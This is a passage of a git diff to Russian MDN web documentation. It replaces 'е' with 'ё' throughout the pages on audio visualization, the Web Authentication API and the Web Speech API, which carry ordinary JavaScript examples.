используя быстрое преобразование Фурье (БПФ) в определённой частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p> <div class="note"> <p><strong>Примечание</strong>: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.</p> @@ -38,9 +38,9 @@ distortion.connect(audioCtx.destination);</pre> <p>Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.</p> -<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p> +<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдёт для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p> -<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.</p> +<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.</p> <pre class="brush: js notranslate">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; @@ -95,7 +95,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <pre class="brush: js notranslate"> var sliceWidth = WIDTH * 1.0 / bufferLength; var x = 0;</pre> -<p>В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> +<p>В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> <pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { @@ -127,9 +127,9 @@ var dataArray = new Uint8Array(bufferLength);</pre> <h2 id="Создание_частотной_гистограммы">Создание частотной гистограммы</h2> -<p>Еще одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p> +<p>Ещё одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p> -<p>Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> +<p>Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> <pre class="brush: js notranslate"> analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; @@ -138,7 +138,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> -<p>Затем мы запускаем функцию <code>draw()</code> и задаем цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> +<p>Затем мы запускаем функцию <code>draw()</code> и задаём цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> <pre class="brush: js notranslate"> function draw() { drawVisual = requestAnimationFrame(draw); @@ -148,9 +148,9 @@ var dataArray = new Uint8Array(bufferLength);</pre> canvasCtx.fillStyle = 'rgb(0, 0, 0)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre> -<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.</p> +<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, делённой на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определённых, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространённым частотам.</p> -<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещен каждый столбец.</p> +<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещён каждый столбец.</p> <pre class="brush: js notranslate"> var barWidth = (WIDTH / bufferLength) * 2.5; var barHeight; @@ -174,7 +174,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <pre class="brush: js notranslate"> draw();</pre> -<p>Этот код дает нам следующий результат:</p> +<p>Этот код даёт нам следующий результат:</p> <p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p> diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index d7951c18d6..4407249491 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Web_Authentication_API <p>API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассиметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.</p> -<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p> +<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учётные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p> <ul> - <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li> - <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li> + <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создаёт новый набор учётных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li> + <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учётных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li> </ul> <p><strong>Обратите внимание</strong>, и <code>create()</code>, и <code>get()</code> работают только в <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (например, когда подключение к серверу происходит через https или сервер работает на localhost).</p> @@ -43,8 +43,8 @@ translation_of: Web/API/Web_Authentication_API <li><strong>Приложение запрашивает регистрацию</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li> <li><strong>Server Sends Challenge, User Info, and Relying Party Info</strong> - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li> <li><strong>Браузер вызывает authenticatorMakeCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li> - <li><strong>Аутентификатор создает новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li> - <li><strong>Аутентификатор передает информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li> + <li><strong>Аутентификатор создаёт новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li> + <li><strong>Аутентификатор передаёт информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li> <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li> <li><strong>Сервер проверят и завершает регистрацию</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: <ol> @@ -67,8 +67,8 @@ translation_of: Web/API/Web_Authentication_API <li><strong>Приложение запрашивает аутентификацию</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li> <li><strong>Server Sends Challenge</strong> - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li> <li><strong>Браузер вызывает authenticatorGetCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li> - <li><strong>Аутентификатор создает подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li> - <li><strong>Аутентификатор передает информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li> + <li><strong>Аутентификатор создаёт подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li> + <li><strong>Аутентификатор передаёт информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li> <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li> <li><strong>Сервер проверят и завершает аутентификацию</strong> - Upon receiving the result of the authentication request, the server performs validation of the response such as: <ol> diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 3398c86aad..1a844c744f 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Web_Speech_API <p>Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:</p> <ul> - <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li> + <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li> <li>Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.</li> </ul> diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html index 27aa08113f..c78a987ba5 100644 --- a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -9,11 +9,11 @@ tags: - Синтез речи translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API --- -<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p> +<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья даёт краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p> <h2 id="Распознавание_речи">Распознавание речи</h2> -<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p> +<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p> <p>После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.</p> @@ -33,7 +33,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API <h3 id="Браузерная_поддержка">Браузерная поддержка</h3> -<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> +<p>Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> <ul> <li dir="ltr"> @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API <p>Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.</p> -<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> +<p>CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> <h3 id="JavaScript">JavaScript</h3> @@ -74,8 +74,8 @@ const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpe <pre>const colors = { красный: 'red', оранжевый: 'orange', - желтый: 'yellow', - зеленый: 'green', + жёлтый: 'yellow', + зелёный: 'green', голубой: 'blue', синий: 'darkblue', фиолетовый: 'violet' @@ -100,7 +100,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi <p dir="ltr">Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).</p> </li> <li dir="ltr"> - <p dir="ltr">У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p> + <p dir="ltr">У вас может быть множество значений, определённых отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p> </li> </ul> @@ -108,7 +108,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi <p>Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.</p> -<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p> +<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаём новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p> <pre>const recognition = new SpeechRecognition(); const speechRecognitionList = new SpeechGrammarList();</pre> @@ -118,7 +118,7 @@ const speechRecognitionList = new SpeechGrammarList();</pre> <pre class="brush: js">speechRecognitionList.addFromString(grammar, 1); </pre> -<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:</p> +<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим ещё несколько свойств объекту, прежде чем двигаться дальше:</p> <ul> <li dir="ltr"> @@ -140,14 +140,14 @@ recognition.maxAlternatives = 1; </pre> <div class="note"> -<p dir="ltr"><strong>Внимание:</strong> <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.</p> +<p dir="ltr"><strong>Внимание:</strong> <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задаёт, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в ещё не реализовано в Gecko.</p> <p dir="ltr">Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.</p> </div> <h4 id="Запуск_распознавания_речи">Запуск распознавания речи</h4> -<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции <code>SpeechRecognition.start()</code>.</p> +<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путём вызова функции <code>SpeechRecognition.start()</code>.</p> <pre>microphoneIcon.onclick = function() { recognition.start(); @@ -162,7 +162,7 @@ recognition.onaudiostart = function() { <h4 id="Получение_и_обработка_результата">Получение и обработка результата</h4> -<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространенный, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p> +<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространённый, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p> <pre>function getColor(speechResult) { for (let index = 0; index < colorsList.length; index += 1) { @@ -182,7 +182,7 @@ recognition.onresult = function(event) { console.log('Confidence: ' + event.results[0][0].confidence); };</pre> -<p>Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p> +<p>Третья строка здесь выглядит немного усложнённой, поэтому давайте разберёмся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p> <p>Мы также используем свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onspeechend">SpeechRecognition.speechend</a></code>, чтобы задать обработчик на завершение работы распознавателя речи (вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/stop">SpeechRecognition.stop()</a></code> ), как только одно слово было распознано, и входящий речевой поток был остановлен.</p> @@ -196,7 +196,7 @@ recognition.onresult = function(event) { <h4 id="Обработка_ошибок">Обработка ошибок</h4> -<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p> +<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определённой грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p> <pre>recognition.onnomatch = function(event) { alert("I didn't recognise that color."); @@ -229,7 +229,7 @@ recognition.onresult = function(event) { <h3 id="Браузерная_поддержка_2">Браузерная поддержка</h3> -<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент 